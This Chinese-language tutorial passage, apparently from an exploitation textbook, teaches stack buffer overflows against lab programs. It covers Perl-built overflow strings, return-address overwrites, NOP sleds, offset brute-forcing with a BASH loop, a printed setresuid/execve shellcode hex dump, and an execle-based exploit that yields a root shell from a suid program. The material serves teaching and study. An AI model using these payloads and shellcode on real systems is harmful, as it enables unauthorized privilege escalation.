由於駭客大量根植於利用與實驗,能快速嘗試不同東西的能力至關重要。大多數機器上都有的 BASH shell 與 Perl,就足以拿來實驗漏洞利用。

Perl 與命令替換#

Perl 是直譯式語言,它的 print 命令特別適合生成長串字元。用 -e 選項可在命令列執行:

reader@hacking:~/booksrc $ perl -e 'print "A" x 20;'
AAAAAAAAAAAAAAAAAAAA
  • 非可列印字元可用 \x## 印出(## 為十六進位值):perl -e 'print "\x41" x 20;' 同樣印出 20 個 A(A 的十六進位是 0x41)。
  • 字串串接用句點 .,串接多個位址時很有用:perl -e 'print "A"x20 . "BCD" . "\x61\x66\x67\x69"x2 . "Z";'

整個 shell 命令可像函式一樣執行、就地回傳輸出——用 $(...) 包住即可(也可用反引號 `,但括號語法對多數人更易讀):

reader@hacking:~/booksrc $ una$(perl -e 'print "m";')e
Linux

精確控制被覆寫的值#

命令替換與 Perl 結合,就能即時生成精確長度的溢位緩衝區。用 GDB 當十六進位計算機,可算出 buffer_two0xbffff7e0)與 value0xbffff7f4)相距 20 位元組。

若要用精確的值(如 0xdeadbeef)控制某變數,因為 little-endian 架構,必須把那些位元組以反序寫入記憶體

reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x20 . "\xef\xbe\xad\xde"')
...
[AFTER] value is at 0xbffff7f4 and is -559038737 (0xdeadbeef)

覆寫返回位址:重複位址技巧#

同樣的技巧可用來以精確的值覆寫 auth_overflow2.c 的返回位址。找出 Access Granted 那段指令的起點(0x080484bf),若返回位址被覆寫成這個值,那段指令就會被執行。

返回位址與 password_buffer 起點的確切距離,會因編譯器版本與最佳化旗標而變動。只要緩衝區起點在堆疊上與 DWORD 對齊,就能靠把返回位址重複很多次來吸收這種變動——至少會有一個實例落在返回位址上。

reader@hacking:~/booksrc $ ./auth_overflow2 $(perl -e 'print "\xbf\x84\x04\x08"x10')
-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

這給了我們更多控制,但仍受限於原始程式中已存在的指令。要真正為所欲為,必須把自己的指令注入記憶體,再讓執行流程返回那裡——這些注入的指令就叫 shellcode

Shellcode 與 NOP sled#

notesearch 漏洞利用不只把緩衝區溢位進返回位址,還注入自己的指令並返回到那裡執行。對 suid root 的 notesearch 而言尤其致命:程式以較高權限執行以存取資料檔,但程式邏輯本應阻止使用者把這權限用於別處——一旦能注入指令並控制執行,程式邏輯就形同虛設。

漏洞利用緩衝區的三個組成(在 exploit_notesearch.c 第 24–27 行建立):

  1. 重複的返回位址:for 迴圈用 ret 變數的 4 位元組位址填滿緩衝區。
  2. NOP sledmemset(buffer, 0x90, 60) 在開頭放 60 位元組的 NOP。
  3. shellcodememcpy(buffer+60, shellcode, ...) 把 shellcode 複製到 NOP sled 之後。

返回位址必須指向同一緩衝區中的 shellcode,這表示位址在進入記憶體前就得預先知道——在動態變化的堆疊上,這是個困難的預測。NOP sled 正是化解這個難題的技巧。

NOP 是 no operation 的簡寫,是個什麼都不做的單位元組指令(x86 上等於 0x90)。我們在 shellcode 前放一大排 NOP;只要返回位址被覆寫成 NOP sled 中的任何位址,EIP 就會沿著 sled 一路「滑」下去,逐一執行 NOP,直到抵達 shellcode 並正確執行。

圖 0x300-2:完整的漏洞利用緩衝區——NOP sled、shellcode、重複的返回位址

用 BASH for 迴圈自動化尋找 offset#

即使有 NOP sled,仍須預估緩衝區的大致位置。一種技巧是以鄰近的堆疊位置當參考點,再減去一個 offset。notesearch 漏洞利用就以 main() 堆疊框架中變數 i 的位址為參考,減去 offset(預設 270)得到目標返回位址。

為什麼是 270?最簡單的辦法是用實驗找出來。除錯器會稍微移動記憶體、且執行 suid root 程式時會降權,因此在此案例中除錯用處不大。由於漏洞利用允許用命令列引數指定 offset,就能快速測試不同的值。

seq 命令生成數字序列,可驅動 BASH 的 for 迴圈自動化這個過程:

reader@hacking:~/booksrc $ for i in $(seq 0 30 300)
> do
> echo Trying offset $i
> ./a.out $i
> done

NOP sled 有 60 位元組長、可返回到 sled 上任何一點,因此約有 60 位元組的容錯空間。用 30 的步長遞增 offset,就能安全地不錯過 sled。當用對 offset,返回位址就會指向 NOP sled 上某處,執行滑進注入的 shellcode——這正是預設 offset 值被發現的方式。

把 shellcode 藏進環境變數#

有時緩衝區太小、連 shellcode 都塞不下。所幸記憶體中還有別處可藏,例如環境變數(environment variable)——它們位於堆疊上,且能從 shell 設定。

先把 shellcode 以二進位形式存進檔案(用 headgrepcut 隔離出十六進位位元組,再用 BASH for 迴圈 echo -en 寫出):

reader@hacking:~/booksrc $ hexdump -C shellcode.bin
00000000  31 c0 31 db 31 c9 99 b0  a4 cd 80 6a 0b 58 51 68  |1.1.1......j.XQh|
00000010  2f 2f 73 68 68 2f 62 69  6e 89 e3 51 89 e2 53 89  |//shh/bin..Q..S.|
00000020  e1 cd 80                                          |...|

接著用命令替換把 shellcode 連同一段慷慨的 NOP sled 放進環境變數:

reader@hacking:~/booksrc $ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)

環境變數位於堆疊底部附近,所以在除錯器中執行 notesearch 時應往那裡找。在 main() 設中斷點並執行後,就能在堆疊底部附近找到 SHELLCODE= 及其後 190 個 \220(即 0x90)的 NOP sled——我們只需在 sled 範圍內找一個位址,拿來覆寫已存的返回位址即可。挑靠近 sled 中央的位址(如 0xbffff947)重複覆寫返回位址,執行就會滑進 shellcode,端出 root shell。

精準預測環境變數位址#

有了大 NOP sled 就能容忍猜測誤差,但環境變數的位置其實比區域堆疊變數更容易預測。C 標準庫的 getenv() 接受環境變數名稱、回傳其記憶體位址:

reader@hacking:~/booksrc $ ./a.out SHELLCODE
SHELLCODE is at 0xbffff90b

不過拿掉 NOP sled 後直接用這個位址仍會崩潰——預測還差一點。實驗發現一個規律:

getenvaddr.c 與 execle:完全免除 NOP sled

掌握這個規律後,getenvaddr.c 依程式名稱長度差調整位址,做出非常精準的預測:

ptr = getenv(argv[1]); /* Get env var location. */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
reader@hacking:~/booksrc $ ./getenvaddr SLEDLESS ./notesearch
SLEDLESS will be at 0xbfffff3c
reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x3c\xff\xff\xbf"x40')
sh-3.2#

更進一步,可用 execle() 讓漏洞利用程式更可靠。它與 execl() 是姊妹函式,多一個引數可指定執行程序的完整環境。若把環境陣列設成只含 shellcode 一項,其位址就變得容易計算——在 Linux 中是 0xbffffffa 減去環境中 shellcode 的長度、再減去被執行程式名稱的長度。位址既然精確,就完全不需要 NOP sled:

char *env[2] = {shellcode, 0};
ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
for(i=0; i < 160; i+=4)
   *((unsigned int *)(buffer+i)) = ret;
execle("./notesearch", "notesearch", buffer, 0, env);

這個版本更可靠:不需 NOP sled、不需猜 offset,也不啟動任何額外程序。

由此可見,利用程式未必需要漏洞利用程式碼。這種實驗與模式辨識的能力,是駭客的重要技能。